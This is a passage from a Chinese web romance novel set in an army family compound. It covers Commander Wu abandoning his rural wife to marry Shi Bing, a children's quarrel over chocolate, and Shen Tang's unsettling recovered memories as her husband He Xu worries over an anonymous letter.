“你要跟我离婚?我打死你一个负心汉!” 女人怒吼一声,冲上去就要打他。 吴团长气的心梗,死死抓住她的手:“你不要再闹了,行吗?” 女人一下子就坐到了地上,哭的惊天动地,浑身泥巴狼狈又无理取闹的样子,看着就让人觉得无奈。 众人你一句我一句的劝着吴团长和他媳妇。 吴团长十四岁孩子更是寒着脸,咬牙切齿道:“妈,你就别再这丢脸了行吗?” 进了城,他才知道城里人过的是什么日子。 个个不说光鲜靓丽,但衣服绝对不会像他妈和奶奶那样全都是黑色污垢。 班里的同学都在嘲笑他有那样一个妈,简直丢死人了! “好啊,我养你十四年,一把屎一把尿的将你养大,你现在觉得我丢你脸了是吧?我的命咋那么苦啊……” 吴团长忍无可忍:“够了,你是不是要我脱下这身军装,随你回农村,你才罢休?” 女人一下就哑了火。 她不明白,她只是不想让他去拼命而已,她有什么错? 为什么跟妈学的那些,在这里都不管用了? 周玲拉起地上的女人,好说好歹的将人送回房间。 瞧见沈棠怀着孩子还站在外面,赶紧拉着她走回房子:“这么冷的天,你出来干什么?快去歇着。” 沈棠冲她傻笑了下,回屋关上了门。 次日去文工团,石冰满脸笑容的走了进来。 今天是她转回原单位的日子,这人怎么还笑的这么没心没肺? 李红悄悄的在沈棠耳边嘀咕:“我有种不好的预感。” 沈棠惊的连忙去捂她嘴巴。 她这张嘴,被文工团的众人“亲切”的封为乌鸦嘴。 从来没有出过好话。 这时,李团长阴沉着脸走了进来,对于石冰退回原单位的事绝口不提。 众人有些疑惑,尤其是徐慧,连忙去打听情况了。 这才知道,原来石冰的姑姑打了电话过来,希望李团长再给石冰一个机会。 石冰的姑姑是首都文工团的干部,本来是管不到他们军区文工团的。 也不知道说了什么,李团长就那么妥协了。 徐慧被这个变故气的磨牙,早知道她就不让领唱之位了! 下了班,沈棠刚回家,就瞧见吴团长老婆手里抓着把瓜子走来了她家。 平日里两家虽然离的近,但沈棠从来没见过她过来。 王翠花穿着厚实的棉鞋,衣服灰黑,头上带着毛巾,袖子上套着两个已经又脏又黑的袖套。 一进门,就开始打量他们院子,然后不屑的“啧”了声。 第一卷 第73章 石冰谈对象了 “你们家也不咋样嘛。” 院子里翻修过,墙角边种了好些花草,两边两块地种了些韭菜和菜花。 沈棠并不喜欢在院子里种菜,架不住贺旭想要种,两人各自退让了一步,中间修了一条鹅卵石到门口,看着倒是有些闲云野鹤得悠闲之感。 家属院的院子都是用红砖弄成,这点和他们家一样。 王翠花看来看去,也没觉得有什么特别的地方。 沈棠邀请她进来坐,给她倒一杯甜热水。 王翠花站着原地嗑瓜子:“我还以为像你们这样讲究的人会喜欢喝茶咧。” 沈棠:“我不爱喝茶,我们家那个是个大老粗,对茶也不讲究。” “婶子,你是有事找我?” 王翠花平日里撒泼打滚是一手,但真要对上像沈棠这样城里的姑娘,就不由自卑起来。 家属院里军属可不是人人都合的来的。 乡下来的不爱和城里人接触,认为她们瞧不起自己。 城里的人也不爱跟乡下的人来往,认为这些人说话粗辱,行事粗鄙。 王翠花来了家属院后,除了在家里做做饭,洗洗衣服,闲的蛋疼的时候就去跟那些婶子八卦。 自然也知道沈棠那些事迹。 “没啥事,就我家那个,让我跟你学习一下,我瞧着吧,我们家也就比你们家多种了点菜,你们家东西少,我们家东西多,好像也没啥不一样的。” 沈棠算是明白吴团长的意思了。 她试探的说:“其实我们家属院有扫盲课,婶子你要是学习的话,可以去那的。” 王翠花立马摆手:“我不去,扫盲课我们家乡那也有,我都会写自己的名字了,不用学。 我们家那个就是让我来你们家看看,我看完了,这就回去了。” 她仔细看过了,沈棠家东西不多,那厨房一看就知道不常开火,十八岁的姑娘穿着长裙和大衣,头发扎的乱七八糟的,虽然看着好看,但根本没啥好学的。 沈棠迫不及待的起身相送,笑容满面:“那婶子你慢点走哈。” 她实在不想上了年纪的婶子说话,太唠叨了。 就像上次她才去医院,家属院里就人说她出事了。 吓的她小姨差点赶去医院。 王翠花瘪瘪嘴,城里人果然看不起他们乡下的人。 穿的那么好,还天天吃食堂,败家娘们可真不会过日子。 回到家,瞧见吴团长正在教孩子做作业,整个人都快气炸了似的,将书本摔到他面前。 “你就是个榆木脑袋!!” 王翠花看到宝贝儿子被骂的半句不敢说,顿时火冒三丈:“你干什么,小河学不会就学不会呗,读书有什么用,反正都不能上大学了,将来他参军当个兵,退伍回家按排个工作,一辈子老老实实就够了!” 吴团长瞪过去:“他连简单的乘除都不知道,以后还想当兵?他当个锤子!” “我让你去跟沈同志学习,你学了什么?” 王翠花眼神飘忽:“能学什么?学城里人妖妖娆娆啊?我可学不会。” “你……” 吴团长被她气的心梗,失望的看了她一眼,甩手就走了。 王翠花也不理他,反正自己半辈子都这样了,不也好好的过来了? 吴团长心烦意乱,围着军区跑了两圈。 忽然听到河边有人唱歌,那声音温柔似水,又铿锵有力,让他烦躁的心神渐渐平缓下来。 走进一瞧,只见那姑娘身穿一袭蓝色格子裙,梳着两条黑色辫子,手里还拿着一本曲谱正在练习。 似乎是察觉到有人来了,她惊慌回头,似森林小鹿般无措,却又在看到男人时羞的一下低头。 微风吹拂起她的长裙,姑娘挽了挽耳边的碎发,露出清秀的脸颊,让吴团长那颗不太少年的心再次不受控制的跳动起来。 双眸对视间,二人都有些不好意思,气氛也在无形间多了几分暧昧。 “知道吗?石冰谈对象了。” “和谁呀,咱们军区单身的干部好像没几个?” “和一团的吴团长!” “啊?吴团长不是已经结婚了吗?他都那么大年纪了。” “吴团长和他那从乡来的老婆根本没有领结婚证,他把乡下来的那个送回老家了,还说已经和前头那个分手了。” “这、这还有这种操作啊?石冰咋想的?” “出了那档子事,石冰早就没了名声,能嫁给吴团长估计是她最好的选择了。” “可是就算没领结婚证,那也不能说分手就分手啊?人家在乡下伺候他妈那么多年,没有功劳也有苦劳,怎么能这样做事,师长不管吗?” “师长哪管得了,人前头那个又没闹。” 沈棠心里也唏嘘着呢,万万没想到几天的功夫,王婶子就被分手送回了老家。 吴团长还和石冰在一起了。 其实抛妻弃子的事在部队并不少见。 很多在乡下成了亲生了孩子但没领结婚证的原配,都被男人哄着在老家伺候婆母。 而男人则在家属院里再娶了一个城里人,生了孩子。 这种事只要不闹到潭师长跟前,或者女方不打算闹的天下皆知,领导是不会管的。 吴团长老婆没来之前,每回文工团演出,他都要过去看两眼,送上几朵花,心里也不是没有想法。 可惜王婶子来的太快,他自己长的又不咋样,故而一直没能再娶。 现在把原配送回老家,新娶一个妻子,大家顶多就是在道德上谴责他一番。 苦主不在,领导不管,他是一点责任都不用担。 众人瞧见石冰来了,纷纷尴尬的散了。 石冰走进练功室,第一眼就瞧见了沈棠,眸光闪了下,笑容温和:“沈同志,过两天我要结婚,到时候你一定要来啊。” 吴团长是贺旭的顶头上司,她这么说,是笃定沈棠会答应。 沈棠尴尬的笑了下:“真是不好意思,过两天我有事,没时间参加呢。” 看着她面上那态度极好的样,石冰差点就信了她真有事。 “怎么会没有时间呢?过两天是周末。” “就是因为是周末,我才约了人呀。” 沈棠说话很陈恳,可任谁都知道她是不想参加石冰的婚礼。 李红在旁边搭话:“那天我陪棠棠去医院,石冰同志,祝你新婚快乐,我们就不去了哈。” 其他人一听赶忙道:“那天我也有事,我三姑姑她婆婆大寿,我也没空。” “对对对,她三姑是我姨,我也没空,我也要去参加寿宴。” 大家你一言我一言,个个都找借口不想去。 石冰脸色有些难看,她红着眼眶委屈的看向没说话的徐慧:“阿慧,你也有事吗?” 第一卷 第74章 他喜欢石冰,也喜欢沈棠 徐慧犹豫了下,问:“石冰,你知道吴团长有夫人吗?” 她怎么能干出这样的事? 她就算是嫁给二婚的韩营长,都比嫁给吴团长好啊! 石冰柔柔解释:“吴团长说他原来那个老婆来军区就是想把孩子带来给他,再商议离婚的事。 而且吴团长和她分开时,给了不少钱给她,她早就不喜欢吴团长了。 你们不要误会我,我真的没有插足吴团长的婚姻,他们的儿子可以为我作证的。” 大家面面相觑,是这样吗? 徐慧虽然有些怀疑,但听到吴团长的孩子都接纳了石冰,想着要是谎言肯定有戳穿的那一刻,便将信将疑的信了石冰。 “我那天有空,我会去参加你的婚礼。” 石冰破涕而笑:“徐慧,谢谢你相信我。” 那模样看着都有些心酸。 这让徐慧有点愧疚。 虽然她对石冰没走之事耿耿于怀,但郁闷过了也就过了,该怎么工作就怎么工作,她没有那些花花肠子去算计人。 为了证明自己没有插足吴团长,石冰这些天一直带着吴团长的儿子吴河在家属院里窜门。 看着吴团长的儿子这么亲密的叫着石冰“妈”的样子,不少人在私下里说,该不会吴团长前头那个真的是来和吴团长离婚的吧? 之前的撒泼打滚,就是为了多要钱? 一个人说有人怀疑,两个人说觉得不对,七八个人说,这件事的真相就转变了。 谁都知道王翠花之前拦着吴团长不让他出任务的事。 这是正常家属能干出的事? 故而大家一致认为是王翠花想要钱不成,为此不惜破坏吴团长的名声。 因为石冰经常买东西给吴团长的儿子,一副温柔可亲的模样,看不透真相的人也渐渐接纳了她。 沈棠没去参加他们的婚礼,她虽然不知道王婶子到底怎么回的老家,但她就是看不管这对渣男贱女。 结婚当天,她和李红去医院产检了。 周一上班,石冰还拿出了不少喜糖请大家吃。 李团长走了进来,交代了晚上的演出。 演出一如既往的顺利。 因为大厅舞台离台下比较高,沈棠离开的时候走的很小心,石冰瞧见她这副模样,不由心里一沉。 这段时间沈棠已经去过医院两次了,她该不会是怀孕了吧? 石冰看着沈棠离开的背影,眼里泛着渗人的幽光。 察觉到身边走来一人,她连忙收拾好表情。 “石同志。” 石冰回头,男人穿的绿衫,但他并不是真正的军人,而是一名修理工。 她记得这个人,每一次她表演,对方都会来看。 “张同志。” 张胜利有些惊讶和紧张:“石同志你还记得我的名字?” 石冰笑了笑,温柔至极:“当然了。” 张胜利心里一喜,却又是有些失落:“石同志,你过的还好吗?” 石冰心里平淡无波,说实话她并不喜欢吴大柱。 吴柱只有一米七高,样貌也普通,要不是家里出了事可能连累到她,加之他正好是贺旭的团长,她是不会选择这么个人的。 她都做好了长期勾引他的准备了,谁知道才几天这人就急着要和她结婚。 虽然事情进展的很快,她连犹豫的机会都没有。 但吴柱对她不错,他那个蠢笨的儿子又好哄,想着吴柱已经是团长,还可以升一升,她心里也没那么排斥了。 石冰看着他手上的工具,忽的看了一眼头顶的灯泡:“你在这修灯吗?” 张胜利长睫微眨:“团里这个灯比较贵,每一次演出之前,李团长都让我检查了一下,免得出了问题。” 石冰眼里闪过一道道不明的意味:“这样啊。” “石同志,其实、其实我……” “我知道。”石冰柔柔的打算他的话,温柔的眸光凝视着他,却又失落的低下头:“谢谢你的喜欢,可我身上发生了太多事,如果我不嫁给吴团长,只怕这军区就没我立足之地了。” 张胜利急道:“怎么会呢?” 石冰唇角扯出个讽刺的笑:“你不知道,我曾经喜欢过一个人,可我没有想过要打扰他,他结婚后,我也曾祝福他结婚快乐。 可他的妻子并不放过我,男人为了讨她妻子开心,便对我家里人下了手。 父亲因为我而失去了工作,他们所有人都在骂我,甚至连我自己也被人算计失了清白,我不明白为什么会这样。 可能,只有我嫁了人,他们才会罢手吧。” 张胜利满眼心疼:“他们也太过分了,是不是贺……” “张同志,我的话就到这里了,谢谢你今天听我说了这么多。” 石冰说完就走了。 背影寂寥,看着就让人心疼。 张胜利唇角勾了勾。 他又不是傻子,以往石冰连个眼神都不曾给他,现在倒是会跟他诉苦了。 诚然,他喜欢石冰。 但也喜欢沈棠。 一个是高贵的大小姐,一个是面容清冷性子娇媚的姑娘。 他可都没有尝过呢。 石冰家里出事,他自然是打听过的。 确认了对方最大的靠山倒了后,他自然不愿意放过这个机会。 石冰的意思他明白,但没有代价,他可不干。 贺旭那个人可不是好惹的。 出了人命,他也担不起这个责任。 一个月后,离过年还有十几天时间。 周玲带着两个女儿和沈棠去买了好些东西。 沈棠回来就被通知军区门口有她的包裹。 是沈父沈母从大荒北寄过来的一些特产,里面有冻梨、香肠、还有豆腐乳和奶粉等等。 贺老爷子和沈老爷子知道她怀孕后,立马就打了一笔钱给她。 临近过年,也寄了一箱子东西过来,打开一看是各种奶粉麦乳精饼干糖果。 沈棠眼睛放光,小小的“哇”了一声。 她蹲在地上,打开一袋子巧克力背对着门口吃了两口。 忽然整个人从后面被人抱了起来,吓的她尖叫使劲扑腾。 贺旭差点没抱住人,赶紧解释:“是我是我,你老公回来了。” 沈棠双脚落地,没好气的白了他一眼:“贺旭,你吓到我啦!” 贺旭抓住她的手腕,将人往怀里一拉,嗅到她身上的馨香,整颗心才放松下来:“我的错,我不该吓你。” 沈棠娇气哼了声,要不是看他脸色疲惫,她才不会不和他计较。 贺旭往地上看了一眼,诧异道:“这么多东西,谁寄的?” 沈棠摇头一笑:“除了家里人,谁会给我们寄东西?” “对了,我这有个好消息,你要听不?” 她笑容璀璨明媚,粉色桃红的脸颊似水蜜桃一样,看的贺旭眼神微深,动了动性感的喉结。 第一卷 第75章 石冰怀孕了 贺旭忍不住亲了一口她的脸颊:“说说看。” 沈棠后退两步,傲娇的抬了抬巴,一双浅褐色眸子全是逗弄他的笑意:“来年的今日,会有个孩子叫你爸爸。” 贺旭震惊又惊喜:“你是说……” 沈棠笑容璀璨点点头。 贺旭立马冲过去要抱人,沈棠就防着他这一手呢,举起手里的棒棒糖抵在他胸口:“不许抱我,万一摔了怎么办?” 贺旭失落的像只小狗:“哦。” 沈棠才不心疼他呢,这男人给点阳光就灿烂,她要是心再软点,指不定得让他美上天。 “快去洗澡,我刚好烧了热水。” “好吧。” 贺旭佯装去洗澡,忽然以迅雷不及掩耳之势,抱起沈棠狠狠亲了一口,随即逃之夭夭。 沈棠气的跺脚,摸了摸脸,随即又羞的一下笑了。 贺旭洗完澡,吃着沈棠给他煮的面,听到自家团长把老婆送回了乡下,又娶了石冰时,眉头紧蹙了起来。 吴团长这人在女色上确实有点问题,但作为战友和领导他一直很尽责,从来没有卡过别人的功劳。 若是他赶在两人成亲前回来,是一定要劝阻他的。 可如今两人已经成亲,并且还是新婚,他自然是不好当着他的面说石冰的坏话。 京都石家被查出了不少东西,一家子落网的落网,下放的下放,石冰最大的靠山已经没了,他并不担心她利用家里的关系给沈棠使绊子。 但两家住在对面,平日里出任务,他是一点也不放心。 得想个法子,让石冰自顾不暇。 “这件事你别管,吴团长虽然是我上司,但他做出这样的事,前途算是毁了,现在图一时新鲜,过几年只怕要心生怨恨。” 虽然说没有苦主闹开,潭师长也是睁一只眼闭一只眼,可家属院人人都知道的事摆在眼前,潭师长心里也是有数的。 吴团长做出这样事,还想在往上走一步,除非是立下二等功勋,否则只有转业一条路。 石家剩余的人脉,可不会用在石冰身上。 “我没参加吴团长的婚礼,会不会有事?” 沈棠怕吴团长到时候在工作上贺旭穿小鞋。 “没事,吴团长不是记仇的人。”贺旭顿了顿,知道人心不可测,又安慰了她句:“我会注意的。” 鹅毛细雪飘落,在山野间覆盖了一层白色。 转眼就快到过年了。 正逢赶集的日子,家属院里的婶子们带着孩子去了城里扯了好几身新衣服回来。 尤其是小红梅,她也是今年才被方政委收养,周玲疼她,冬天一来就给她扯了好几身衣服,过年又扯了几身。 小家伙心眼多,知道那些人在背地里骂她没爹没娘,还不爱和她玩,她得了新衣服转头就去嘚瑟了。 口袋里还装着沈棠给的小饼干和糖果。 临近过年,军区各处都放假了。 沈棠闲着无聊,就去山脚边看孩子滑冰。 说是滑冰,其实就是在湖边的山坡,踩着跷跷板滑上滑下而已。 今天出了太阳,家属院的婶子们手里拿着瓜子一边带孩子,一边坐在旁边八卦事情。 “我前几天去医院的时候看见吴团长他后面那个媳妇了,你们说她不会是有了吧?” “有了也不奇怪,两人都结婚一个多月了。” “我就是想不通吴团长他那个儿子到底怎么想的,亲妈不要,要个后妈,石冰要是怀了孩子,哪还会对前头那个好?” “那孩子天天和韩营长家的孩子在一起偷鸡摸狗,我估计吴团长也觉得这孩子毁了,才急着生个小的呢。” “说起韩营长,他又开始相亲了。” 众人用余光瞄了一眼沈棠。 做媒婆的张婶打趣:“沈棠你要是不那么快结婚,说不定和韩营长还可以再续前缘呢。” 沈棠连忙否认:“婶子别乱说,我已经嫁人了,而且我也不喜欢她,之前种种只是想提醒韩营长而已。” 她家贺旭是个大醋坛子,她可不希望传出点余情未了的绯闻来。 张婶有些心虚,顺着她的话说:“确实,可惜韩营长自己不听,娶了那么个败家子老婆。” “沈棠啊,你结婚那时候,贺家怎么一个人都没来,该不会他们连彩礼都没给吧?” 她还记着沈棠当时拒绝她拉媒之事。 平日里看到贺旭那么宝贝沈棠的模样,她们这些人心里多少有些酸。 可偏偏,男人就是喜欢长的漂亮的,还有学识的城里人。 沈棠:“贺旭家里离部队太远,赶不过来,我爸妈那边也是一样。 不过贺旭给的彩礼不少,一结婚就把全身家当都给了我。” 张婶一噎,就是因为她男人不将家里的大权交给她,她才会在军区拉起了媒。 但她这样的只在少数,家属院里不少男人都将自己每月的工资交到了自家老婆手里。 听到沈棠的话顿时点头称赞。 “咱们女人啊,就是要将男人的钱抓在手里,不然这钱指不定得被他们花到哪里去。” “真羡慕你们。” 沈棠注意到旁边说话的女人,女人是上次她从首都回来时在包厢里遇到的那个老太太儿媳妇,她还记她婆婆那奇葩的样子,还有那对女儿养的瘦弱不堪,儿子胖成球。 张营长的老婆黄兰和她婆婆在家属院可算是出了名的。 两个女儿平日里几乎不出现在外面,但总能听到院子里孩子的惨叫声,张营长知道后说了好几次,那凄厉的惨叫才停下来。 只不过两个女儿身上还是会出现伤痕,因为这个周玲上他们家说了好几次。 家属院里的人都认为是张营长他妈重男轻女,才会对两个小孩动手。 养的那男娃娃不仅是胖,还特别嚣张跋扈。 现在听到黄兰羡慕的话,大家都投去可怜的眼神。 黄兰看着性子柔柔弱弱,说话小声的不行,这样的人肯定不是她婆婆的对手,张营长的工资估计也在她婆婆手里。 大家正说着话,忽然听到前方孩子的哭声。 周玲和沈棠一下就站了起来。 那孩子的声音是小红梅的。 第一卷 第76章 天冷,别快冻着我宝贝。 看戏的众人也停下来,一路走到小山坡上,就见几个孩子打在了一起。 打的最凶的就是方红梅和黄兰家的小胖子了。 其他岁数小的孩子也抓着地上的冰雪石块朝小胖子扔,有的也扑腾上去揍人,看着倒像是在群殴黄兰儿子。 “别打了!” 周玲赶紧拉住自家孩子。 黄兰看到儿子也被压着打了好几下,冲过去就要打方红梅她们:“敢打我儿子,我打死你个小贱人!” 周玲立马将孩子往后拉:“黄兰你给我住手,你骂谁贱人呢,口不修德,回去我就跟你们张营长说说你这情况。” 黄兰怒道:“周主任,你女儿把我家宝打成这样,你今天不给我个交代我就去找方政委。” 沈棠撇撇嘴:“这话说的,好像是我们家孩子无理取闹,看看家属院里的孩子,都逮着你们家的孩子打,可见你们家孩子是做了什么事惹了众怒呢。” 站在山坡下谈话的,都是家里有孩子在上面的。 原本自家孩子打人不占理,她们一上来便想着让孩子道个歉就得了,反正孩子打架也不是什么大事。 现在听沈棠这么一说,她们也不急着让孩子道歉了,开始询问起了孩子为什么打架。 方红梅哽咽的哭着:“他扯我辫子,还弄脏了我的衣服,我给妮妮她们的糖也被他抢走了。” 黄兰显然不信的:“我家宝从不欺负人,肯定是你诬陷我儿子。” 小胖子有些心虚,低头着头道:“我、我没抢。” 黄兰立马道:“我儿子说没有,那就是没有,肯定是你们欺负他,你们是不是看我一个乡下来的好欺负,我要告诉师长夫人去……” 几个孩子一听他家小胖子否认,顿时也急了。 “就是他,就是他抢我的糖。” “呜呜呜,我还想把糖留着给妹妹吃,都被他抢了。” “就是他,妈你放开我,我要气死了,我一定要将他打服!” “打什么打,老娘回去就收拾你!” 周玲冷眼睨向黄兰:“你听到了,这些孩子只有三四岁,他们能撒谎吗?” 黄兰眼泪就出来了,柔柔弱弱的哭:“我家孩子也不会撒谎啊。” 小红梅气急了,挣脱周玲的手,猛的推了一下小胖子,然后自己摔了屁蹲。 沈棠憋着笑,见小丫头要哭了,这才道:“是不是抢了我们家孩子的糖,看看他口袋不就行了。” 小胖子脸上一慌,连忙捂住衣服的口袋。 黄兰想着要是奶糖,她就说自己给的,他们家宝贝儿子,怎么能被人欺负呢? 结果从口袋里一掏,那糖上面还映着她看不懂的符号,一下子就把她难住了。 方红梅眼睛一亮,借着周玲的手站了起来,脸颊气鼓鼓的,黑色琉璃眼珠满是控诉:“还说不是你拿的,这糖是我表姐给我的,它叫巧克力,超级好吃的,我只分给我朋友!” 其他小朋友也纷纷点头:“没错,超好吃的。” 甜甜的还有点香苦香苦,味道和奶糖一点也不一样,听梅梅说这糖超级难买,他们是好朋友才能吃到一点。 黄兰没上过学,自小又生活在农村里,根本不知道巧克力是什么东西。 但她也有眼力见,知道这玩意是个稀罕货,他们可能买不起。 于是她脸色一变,骂道:“你这孩子,我平日里缺你吃的了,你怎么能去抢别人的东西,赶紧道歉。” 小胖子不肯,尖着嗓子骂道:“他们都是赔钱货,凭什么吃这么好吃的东西,好吃的东西都应该给我,妈,你不是说了吗?女人都是赔钱货,只有我才是你的宝贝疙瘩。” 在场众人脸色皆变。 她们一直以为重男轻女的是她婆婆。 因为这事,她们可怜惜黄兰了,平日里什么事都让着她。 结果到头来真正重男轻女的是黄兰! 黄兰一下子就慌了。 她虽然重男轻女,对两个丫头非打即骂,但这事她一直掩饰的很好,她婆婆不是个会说话的人,本身对两个小丫头也不是很好,每次她打两个丫头都是为了她孙子,所以她听到谣言才没说什么。 现在被儿子揭穿,她可不慌吗? “闭嘴,你奶奶说的话,你怎么说是妈妈说的呢?” 小胖子想争辩,但被黄兰狠狠掐了掐手臂上的肉,疼的他瞬间哇哇大哭。 大概是他哭的太惨,其他人对视一眼,劝道:“算了,孩子还小,你耐心点教,别动不动就上手。 “就是,这孩子你们多管教管教吧,不然以后可真说不好。” “走了走了,疯一天了,估计后背都湿了,得赶紧回去垫块毛巾。” “那我们也走了。” 天色也不早了,大家抱着孩子各自回去。 小红梅把巧克力分给了小伙伴们,乖乖巧巧的过来牵着沈棠的手:“姐姐,我扶着你走,小宝宝今天听话吗?” 沈棠捏了捏她可爱的小脸:“小宝宝听话着呢。” “小红梅真可爱,我要是也生个女儿就好了。 周玲:“多生几个总会有女儿的。” 沈棠:那还是算了吧。 年节,周玲做了一大桌子菜,贺旭和方政委难得喝了酒。 虽不能放鞭炮,但依旧挡不住大家开心的情绪。 贺旭和沈棠漫步回家时候,高兴的和个孩子一样:“明年这个时候,我们一家三口就可以在自家过年了。” 沈棠挠了挠他的手心:“是是是,赶紧回家吧,都喝醉了你。” 贺旭笑着将她整个人揽入怀中:“天冷,别快冻着我宝贝。” 沈棠娇俏的哼了声:“那你背我,雪天不好走路。” 贺旭嘴角一翘:“大男人怎么能被小小女子拿捏?” 下一刻,他就蹲了下来:“快上来,我现在你男人,不算大男人。” 沈棠:“……” 她扑腾到他的背上,手臂一挥:“冲鸭!” 贺旭健步如飞,吓的沈棠紧紧搂着他的脖子:“太快了,慢点慢点……” 百米的距离,几秒钟就到了。 贺旭还骄傲的看了她一眼,似乎在说,我厉害吧? 沈棠磨了磨牙,厉害,超厉害,差点把她吓死了。 “我打死你个逆子!” 粗大训斥声传入两人耳中。 沈棠和贺旭下意识往那边看了一眼。 原来是吴团长敞着大门,正在用鞭子抽打自己儿子。 隔壁两家的人也探头脑的出来看戏。 “我让你欺负人,年纪不大,还学会和一群混混混在一起抢劫小孩子,一点出息都没有,你再敢跟着他们混,信不信老子打死你。” 吴团长的儿子哭的鼻涕眼泪一大把。 石冰在旁边劝:“算了,孩子不懂事,教训过就行了,再说了,那也不是小河的错,他还小呢,估计是被人诱导过去的。” 吴河感激的看了一眼小后妈,要是他妈在,指不定就是双棍混打了。 吴团长也觉得石冰心善,脸色微霁:“天冷你快回去歇着,这小子做出这样丢脸的事,我今天非得好好教训他不可。” 石冰本来就站的远,吴团长打人的时候,她根本就没过去,也就嘴巴上劝劝罢了。 现在听吴团长这么一说,她就准备进院子了,嘴巴上还不停的柔声劝着:“打两下就算了,过年呢,小孩子分不清好坏,长大了就好了。” 沈棠疑惑问:“我咋听那话有些不对劲呢?” 贺旭冲她挑了挑眉:“这就是佛口蛇心,嘴上不少说一句,行动上不多拦一下。简直和我后妈一摸一样。“ 偏偏他爸还以为他那后妈是个多善良多委屈的人呢。 他得找个机会提醒一下吴团长。 吴河虽然不成器,但他觉得还能管教一下。 反倒是石冰这个人,老是针对他的糖糖,他可不想让她好过。 贺旭抱着怀里的至宝,仿佛恶龙守着自己最喜爱的珍宝,任何朝他伸爪子的人,都会被他的利刃砍掉,黑眸里是似有冷光闪过。 第一卷 第77章 糖糖,别讨厌我 新年新气象,方政委一家都回去走亲戚了,家属院里的人少了很多。 沈棠被通知去通讯室拿信件,正巧遇到过完年回来的韩忠国和他三个孩子。 大的那个已经有十岁,生的很像韩忠国,肤色很黑,许是因为太瘦了,本来端正的五官带了一股子贼眉鼠眼的劲。 看到沈棠的时候打量了她下,但并没有多说话。 “沈同志。”韩忠国叫住她。 沈棠顿住脚步:“韩营长有事找我?” 韩忠国看着眼前脸色红润的姑娘的,她打扮的很普通,宽大的军大衣将她包裹的紧紧的,头上带着一顶宽大且毛绒的小帽子,乌黑的发隐匿在帽子之下,显的她那张清丽的脸越发小了。 天空飞雪,落在她长睫之上,那双眼睛一如既往的清澈纯真。 “没什么,只是何秋被抓之后,一直嚷嚷着想要见你,不知道你有没有空?” 他虽然不知道当初是谁举报的何秋和那奸夫,但那个人一定跟沈棠有关。 他不可惜何秋的下场,只可惜自己那么多钱都拿不回来了。 想起这个,他便郁闷至极。 今年他父母嚷嚷着要过来住,韩忠国废了九牛二虎之力才劝住。 但三个孩子一直没人照顾也不是事,故而他只能再次相亲。 可与他相亲的,不是二婚带娃,就是家里拖后腿,长相不怎么样的。 他一点也不满意。 韩忠国隐隐觉得事情不应该是这样发展的。 想到何秋在监狱疯癫的说沈棠被鬼怪上了身,她根本就不是以前的沈棠。 不由心里一跳。 “我没空。” 沈棠不愿意见何秋,和何秋多年好友的并不是她。 何秋自作自受落得如今这样一个下场,如果是原身,肯定就原谅她了。 但她是不会原谅的。 她性子与原身一样软,原身有家人疼,所以她不用多为自己着想,一辈子就这么陷在了韩忠国身上。 可沈棠到底不是原身,她前世作为孤儿生活了那么久,再软的性子也有了几分坚韧。 决定的事就绝不会轻易改变。 她不想见何秋,不是逃避,而是觉得不值。 韩忠国听到她的话并不觉得意外:“何秋有一样东西要给你,不过我把它放家里了,等会我给你送过去。” 沈棠点头,从他身边绕过去通讯室。 拿到首都来的信时,她有些疑惑,贺爷爷上次已经寄过信和过年的东西来了,怎么这时候又来信? 信上是贺旭收,她就没拆开。 韩家的院子离他们也不远,沈棠刚回到自家院子就见韩忠国走了过来。 他手上拿着一串很老旧的手链,链条已经有些褪色,一看就是小孩子的玩意。 沈棠内心忽然有些隐痛,她知道这并不是她的情绪,而是原身残留的情绪。 脑海里隐藏起的记忆慢慢复苏。 幼时沈母对原身忽冷忽热,有时候温柔有时候冰冷,原身多次想要亲近母亲,却被她冷冷推开。 原身并不明白发生了什么,大家都说受害的人是她,可所有人安慰的对象却是沈母。 原身并不是一个多能隐忍的人,她不喜欢沈母那种打量和怀疑的眼神,于是也不喜欢沈母送她的礼物,更不喜欢沈家的人。 初中,她遇到了何秋。 何秋对她很好,知道她性子软弱,每一次都护着她。 于是在何秋生日的时候,她送了一条手链给她,并且还和她说,她们要做一辈子好朋友。 何秋护着原身,原身对她也够意思。 上一世,原身多次劝导何秋不要相信那小白脸,哪怕何秋最后被人卷走了所有钱,原身依旧替她还了赌债,还给了她不少生存的钱。 在那个大环境里,只要何秋振作起来,她完全可以活的很好。 可惜,何秋临死之时,都还在恨原身。 沈棠的记忆还在不断涌现,涌溢而出的记忆让她脸色苍白了几分,额间的汗珠密密麻麻的冒了出来。 小小的沈棠哭着从楼上摔下,还有被梁家姐弟欺负的画面。 沈棠头痛欲裂,脚步踉跄了下。 韩忠国连忙扶住她:“沈同志,你没有事吧?” 回来的贺旭刚好撞见,他心脏紧缩控制不住的慌了下,连忙上前拉开人:“糖糖怎么了,我抱你去医院。” 沈棠抓住他的手臂摇头,神情有些恍惚:“我没事,就是想睡一下。” 她现在记忆很混乱,头也疼的不行,就算去了医院也只有值班人员,根本查不出什么东西来,还不如好好睡一觉,别像上次一样发烧。 贺旭抿着唇,看她神情疲惫的样子,没好再问,将她抱进了屋子。 身后的韩忠国也是无奈,何秋说只要拿出这条手链,沈棠一定会再原谅她一次,谁知道好好的人差点就晕了。 算了,他已经仁至义尽,何秋的事他不会再管了。 “有什么事记得叫我。” 贺旭动作轻柔的给她盖上被子,在沈棠额头上亲吻了一下,见她彻底睡着,才将房门慢慢关上。 堂屋里的桌子上正放着一封信,贺旭拿起来一看,里面各种污言秽语让他心里一沉,黑眸里风暴越来越渗人,骨节紧攥仿佛要捏碎似的。 过了许久,他沉默的将情绪隐瞒好,去厨房里做好晚饭。 等沈棠醒来,已经是傍晚了。 坐在床边的男人笑容一如既往,捏了捏她神情恍惚的小脸:“醒了?” 沈棠下意识把两只手臂挂在他脖子上,任由他帮自己穿好衣服鞋子。 “贺旭,我想的打个电话给妈妈。” 贺旭抱她的动作一顿,唇角含着笑,平静的黑眸里却黑沉的可怕:“你看过那封信了?” 沈棠歪了歪头,她打电话给妈妈,关她看没看信什么事? 贺旭猛的将人抱进怀里,声音无措中带着一丝恳求:“棠棠,不要害怕我,也不要离开我好吗?” 沈棠连忙安慰他:“怎么了?我没说要离开你。” “真的?” 贺旭如点漆的黑眸里满是脆弱,似是红了眼尾,衬得他深邃的五官有种破碎感。 与往常的桀骜懒散反差十足,偏那双遒劲有力的将她抱的紧紧的,几乎让她喘不过气来。 她柔声安慰:“我没看那封信,也没有要离开你,你在想什么,我肚子里可还有你的崽崽了。” 贺旭黑眸微亮,有些不相信:“那你怎么会忽然晕倒?” 